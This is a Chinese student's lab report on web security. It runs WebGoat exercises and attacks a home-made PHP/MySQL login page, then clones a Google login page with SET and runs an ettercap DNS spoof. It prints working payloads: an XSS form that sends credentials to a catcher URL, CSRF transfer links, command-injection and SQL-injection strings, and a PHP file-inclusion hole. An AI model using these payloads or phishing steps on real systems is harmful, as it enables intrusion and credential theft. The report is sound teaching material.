一、SQL注入原理,如何防護javascript
SQL注入php
就是經過把SQL命令插入到「Web表單遞交」或「輸入域名」或「頁面請求」的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。設計程序中忽略對可能構成攻擊的特殊字符串的檢查。後臺數據庫將其認做正常SQL指令後正常執行,可能實現對後臺數據庫進行各類操做,甚至形成破壞後臺數據庫等嚴重後果。html
經過正則表達式,或限制長度,對用戶的輸入進行校驗等。java
不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接。mysql
不把機密信息明文存放,請加密或者hash掉密碼和敏感的信息。web
應用的異常信息應該給出儘量少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝,把異常信息存放在獨立的表中。正則表達式
二、XSS攻擊的原理,如何防護sql
原理:在Web頁面裏插入惡意Script代碼,當用戶瀏覽網頁時,嵌入其中Web裏面的Script代碼會被執行,一個看似安全的網頁卻有可能盜取用戶的cookies,或者登陸名密碼等信息。數據庫
防護apache
在輸入方面對用戶提交的的內容進行可靠的輸入驗證。
能夠對輸入的地方進行輸入字數控制
腳本執行區,禁止輸入。
三、CSRF攻擊原理,如何防護
咱們知道XSS是跨站腳本攻擊,就是在用戶的瀏覽器中執行攻擊者的腳本,來得到其cookie等信息。而CSRF是借用用戶的身份,向web server發送請求,由於該請求不是用戶本意,因此稱爲「跨站請求僞造」。
對於CSRF的防護也能夠從如下幾個方面入手:
經過referer、token或者驗證碼來檢測用戶提交;
儘可能不要在頁面的連接中暴露用戶隱私信息,對於用戶修改刪除等操做最好都使用post操做;
避免全站通用的cookie,嚴格設置cookie的域。
WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,目前提供的訓練課程有不少,包含了XSS、線程安全、SQL注入等,咱們本次的實驗就是在WebGoat平臺上進行。
WebGoat分爲簡單版和開發板,簡單版是個Java的Jar包,只須要有Java環境便可,咱們在命令行裏執行:java -jar webgoat-container-7.0.1-war-exec.jar
運行WebGoat
WebGoat使用8080端口,因此在瀏覽器上訪問localhost:8080/WebGoat
,進入WebGoat以後,能夠看到有不少題目來讓咱們進行練習。
Phishing with XSS
這個題目咱們要在搜索框中輸入XSS攻擊代碼,利用XSS能夠在已存在的頁面中進一步添加元素的特色。咱們先建立一個form,讓受害人在咱們建立的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,而且將這些信息發送給http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
,完整的XSS攻擊代碼以下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
在搜索框中輸入攻擊代碼後點擊搜索,會看到一個要求輸入用戶名密碼的表單,如圖所示:
輸入用戶名密碼,點擊登陸,WebGoat會將你輸入的信息捕獲並反饋給你:
攻擊成功!
Stored XSS Attacks
咱們的目標是要建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容,在上個實驗中咱們也作過,在message中輸入一串代碼<script>alert("rx attack succeed!");</script>
提交後,再次點擊剛剛建立的帖子,成功彈出窗口,說明攻擊成功:
Reflected XSS Attacks
當咱們輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展現給咱們看:
這時若是咱們將帶有攻擊性的URL做爲輸入源,例如依舊輸入<script>alert("rx attack succeed!");</script>
,就會彈出對話框:
雖然這個效果和上一個存儲型XSS實驗的效果相似,可是二者所用的原理不同,存儲型XSS是持久化的,代碼是存儲在服務器中,比較典型的例子就是上面所用的留言板,而這個實驗中用的是反射型XSS攻擊是非持久化的,應用的場景好比欺騙用戶本身去點擊連接才能觸發XSS代碼,也就是說它的代碼是不存在服務器中的,因此通常來講存儲型XSS攻擊危害更大。
Cross Site Request Forgery(CSRF)
咱們的目的是要寫一個URL誘使其餘用戶點擊,從而觸發CSRF攻擊,咱們能夠以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。
咱們在message框中輸入這樣一串代碼:<img src="http://localhost:8080/WebGoat/attack?Screen=286&menu=900&transferFunds=4000"/>
,注意這裏面的Screen和menu的值每一個人的電腦可能不同,能夠在Parameters進行查看
提交後,會在消息列表中看到一個新的消息,點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的4000元,從而達到CSRF攻擊的目的。
CSRF Prompt By-Pass
咱們依舊和上一個同樣要構造CSRF攻擊,不過此次其包括了兩個請求,一是轉帳請求,二是確認轉帳成功請求,即須要額外傳遞兩個參數給服務器(transferFunds=4000,transferFunds=CONFIRM)
一開始我是直接在message中寫入了攻擊代碼,可是沒有成功,因而我換了一種方法,先在瀏覽器中手動輸入URL:localhost:8080/WebGoat/attack?Screen=269&menu=900&transferFunds=5000
進入確認轉帳請求頁面:
因而點擊了CONFIRM
按鈕以後,再在瀏覽器中輸入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM
,成功轉走了5000元:
Command Injection
這個題是要求可以在目標主機上執行系統命令,咱們能夠經過火狐瀏覽器下的一個擴展Firebug對源代碼進行修改,例如在BackDoors.help
旁邊加上"& netstat -an & ipconfig"
:
以後在下拉菜單中能看到咱們修改後的值:
選中修改後的值再點view
,能夠看到命令被執行,出現系統網絡鏈接狀況:
Numeric SQL Injection
咱們要經過注入SQL字符串的方式查看全部的天氣數據,咱們上次實驗作過相似的,只要加上一個1=1
這種永真式便可達到咱們的目的,依舊利用firebug,在任意一個值好比101
旁邊加上or 1=1
:
選中Columbia
,點Go
,能夠看到全部天氣數據:
Log Spoofing
咱們輸入的用戶名會被追加到日誌文件中,因此咱們可使用障眼法來使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」,在User Name
文本框中輸入rx%0d%0aLogin Succeeded for username: admin
,其中%0d是回車,%0a是換行符:
如圖所示,攻擊成功:
String SQL Injection
仍是和以前同樣,基於select語句構造SQL注入字符串,在文本框中輸入' or 1=1 --
點Go
,攻擊成功,全部用戶信息都被顯示出來:
LAB:SQL Injection(Stage 1:String SQL Injection)
以用戶Neville登陸,在密碼欄中輸入' or 1=1 --
進行SQL注入,可是登陸失敗:
後面查看了一下網頁源碼,發現輸入框對輸入的字符長度進行了限制,最多隻容許輸入8個字符:
對字符長度進行修改,而後從新登陸,登陸成功:
LAB:SQL Injection(Stage 3:Numeric SQL Injection)
咱們仍是用上一題的辦法先以用戶名Larry登陸,登陸以後看到瀏覽員工信息的按鈕是ViewProfile
:
在網頁代碼中分析一下這個按鈕,發現這個地方是以員工ID做爲索引傳遞參數的,咱們要達到經過Larry來瀏覽老闆帳戶信息的目的,通常來講老闆的工資都應該是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --
,這樣老闆的信息就會被排到第一個:
以後就能夠查看到老闆的信息:
Database Backdoors
先輸一個101,獲得了該用戶的信息:
能夠發現輸入的語句沒有驗證,很容易進行SQL注入,輸入注入語句:101; update employee set salary=10000
,成功把該用戶的工資漲到了10000:
(1)什麼是表單
(2)瀏覽器能夠解析運行什麼語言。
(3)WebServer支持哪些動態語言
Apache
apachectl start
命令開啓Apach,使用netstat -aptn
命令查看端口占用由於端口號80已經被佔用(上次實驗設置的),因此先修改/etc/apache2/ports.conf
裏的端口爲5333
後從新開啓:
能夠在瀏覽器中輸入localhost:5333
來檢查是否正常開啓,這裏能夠看到打開了上次實驗的網頁,開啓正常:
簡單的網頁編寫
cd /var/www/html
,新建一個5333.html
文件編寫一個含有表單的html
打開瀏覽器訪問:localhost:5333/5333.html
,成功出現以下界面
在上面的文本框內鍵入幾個字母,而後點擊確認按鈕數據會傳送到 "html_form_action.php" 的頁面,因爲沒有對此頁面進行編輯,出現的是404
javascript相關
編寫驗證用戶名和密碼的規則:(好比用戶名和密碼不能爲空)
<script> function nameText(){ var name= document.getElementByIdx_x ("username"); var divID= document.getElementByIdx_x ("divName"); divID.innerHTML=""; if(name.value==""){ divID.innerHTML="用戶名不能爲空"; return false; } } function passText(){ var pass= document.getElementByIdx_x ("password"); var divIP= document.getElementByIdx_x ("divPass"); divIP.innerHTML=""; if(pass.value==""){ divIP.innerHTML="密碼不能爲空"; return false; } } </script>
PHP測試
新建一個PHP測試文件vi /var/www/html/test.php,輸入以下
<?php
echo ($_GET["A"]);
include($_GET["A"]); echo "php page 5212!<br>";
?>用瀏覽器打開localhost:5333/test.pgp
,能夠看見以下界面,測試成功
MySQL基礎
/etc/init.d/mysql start
打開mysql服務輸入mysql -u root -p
,並根據提示輸入密碼,默認密碼爲p@ssw0rd
,進入MySQL:
可使用命令show databases;能夠查看基本信息(分號不能夠漏掉,分號表明命令的結束):
能夠經過以下方式更改密碼:
·輸入use mysql;
,選擇mysql數據庫
·輸入select user, password, host from user;
,mysql庫中的user表中存儲着用戶名、密碼與權限
·輸入UPDATE user SET password=PASSWORD("新密碼") WHERE user='root';
·輸入flush privileges;
,更新權限
·輸入quit
退出
在Mysql中建庫建表,輸入以下
CREATE SCHEMA 庫表的名稱
;
CREATE TABLE 庫表的名稱
.users
(userid
INT NOT NULL COMMENT '',username
VARCHAR(45) NULL COMMENT '',password
VARCHAR(256) NULL COMMENT '',enabled
VARCHAR(5) NULL COMMENT '',
PRIMARY KEY (userid
) COMMENT '');
向表中添加用戶
如今再查看信息就能夠看到新建表:
php+mysql編寫網頁
在/var/www/html
文件夾下輸入vim login.html
,編寫登陸網頁
輸入vim login.php
,經過php實現對數據庫的鏈接
在瀏覽器中輸入localhost:5333/login.html
訪問本身的登錄頁面
在登陸頁面中輸入數據庫中存有的用戶名和密碼並點擊提交進行用戶認證登陸成功,輸入數據庫中沒有的就會認證失敗
SQL注入
SQL注入是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
具體來講,它是利用現有應用程序,將(惡意的)SQL命令注入到後臺數據庫引擎執行的能力,它能夠經過在Web表單中輸入(惡意)SQL語句獲得一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。
簡單地說,SQL注入的產生緣由一般是將用戶輸入的字符串,當成了 「sql語句」 來執行。
構造SQL語句:在用戶名輸入框中輸入' or 1=1#
,密碼隨便輸入,這時候的合成後的SQL查詢語句爲select * from users where username='' or 1=1#' and password=md5('')
如下的兩句sql語句等價:select * from users where username='' or 1=1#' and password=md5('')
select * from users where username='' or 1=1
由於1=1永遠是都是成立的,即where子句老是爲真,因此可以成功登陸
經過SQL注入將用戶名和密碼保存在數據庫中
';insert into users(userid,username,password,enabled) values(5333,'145333',password("145333"),"TRUE");#
在登陸頁面輸入用戶名145333
密碼145333
,成功
XSS攻擊
進行一個簡單的測試,在用戶名輸入框中輸入<img src="20145333.jpg" />20145333</a>
讀取/var/www/html
目錄下的圖片:
點擊登陸後咱們能夠看到圖片:
發帖和會話管理的實現
咱們能夠利用PHP實現會話管理,這部分實踐能夠詳細參考ltc同窗的博客與代碼。
將代碼依舊放在/var/www/html
目錄下,在瀏覽器中輸入http://localhost:5333/logIn.php
,進行登陸:
登陸成功後如圖所示:
點擊start a new post!
發帖,進入以下界面:
提交以後跳轉到以下界面,能夠選擇查看發過的帖子、繼續發帖、返回或者退出登陸:
點擊CHECK
查看發過的帖子,可是卻什麼內容都沒有,因爲這個操做是經過從data.txt
文件中讀取以前發帖時保存的記錄來查看發帖內容,可是在/var/www/html
目錄下根本沒有找到這個文件,這就說明以前建立也沒有成功,後面發現/var/www/html
底下文件默認的都是屬於root的,其餘用戶沒有權限進行操做,因此咱們能夠先使用touch data.txt
建一個data.txt
文件,再對該文件進行加權:
再次發帖查看,能夠成功顯示以前的發帖歷史:
(1)一般在什麼場景下容易受到DNS spoof攻擊
局域網內的攻擊,arp入侵攻擊和DNS欺騙攻擊
公共wifi點上的攻擊。
(2)在平常生活工做中如何防範以上兩攻擊方法
簡單應用SET工具創建冒名網站
爲了使得apache開啓後,靶機經過ip地址能夠直接訪問到網頁,apache的監聽端口號應該爲80,因而進行查看與修改。查看80端口是否被佔用,個人被PID=571的進程佔用了,kill這個進程。
sudo vi /etc/apache2/ports.conf
修改apache的配置文件中的監聽端口爲80
apachectl start
打開apache2.setoolkit
,出現以下開啓界面。選擇1(社會工程學攻擊)
選擇2,網頁攻擊
選擇3,釣魚網站攻擊
選擇2,克隆網站
輸入kali的IP,克隆的網頁:http://www.google.cn/
,開始監聽
克隆好的釣魚網站不能直接發送IP地址,須要對網頁域名進行假裝,以誘騙收信人的點擊。登入:http://short.php5developer.com/
,以下圖所示輸入kali的ip後,點擊short
,獲得假裝地址
將獲得假裝地址在靶機的瀏覽器中打開,會先出現以下圖示的界面:
10秒後會跳轉到一個google登陸界面,輸入帳號登陸:
在kali端的/var/www/html的文件夾下,會自動生成一個以攻擊時間命名的文件,打開後會看到相關登陸信息
作這個實驗時,我第一次選了QQ郵箱mail.qq.com,結果最後出不了預期的結果,抓不到信息,而後選了Google的登陸網站才成功。
ettercap DNS spoof
ifconfig eth0 promisc
改kali網卡爲混雜模式對ettercap的dns文件進行編輯。輸入命令vi /etc/ettercap/etter.dns
,在以下圖示的位置添加兩條指令:
在cmd中輸入ping baidu.com,查看百度的ip地址。
開始在kali中攻擊,輸入ettercap -G
,開啓ettercap,會自動彈出來一個ettercap的可視化界面,點擊工具欄中的Sniff——>unified sniffing.
選擇eth0——>ok
而後將網關和主機IP分別添加到Target 1 和 Target 2。
點擊Mitm選項,選擇遠程鏈接
點擊plugins——>manage plugins選項。選擇DNS_Spoof,點擊右上角的start開始sniffing
在windows系統下cmd中輸入ping baidu.com
,能夠發現,已經成功鏈接到kali上了。
在瀏覽器中訪問www.rx.baidu.com,就會跳轉到以前克隆的網頁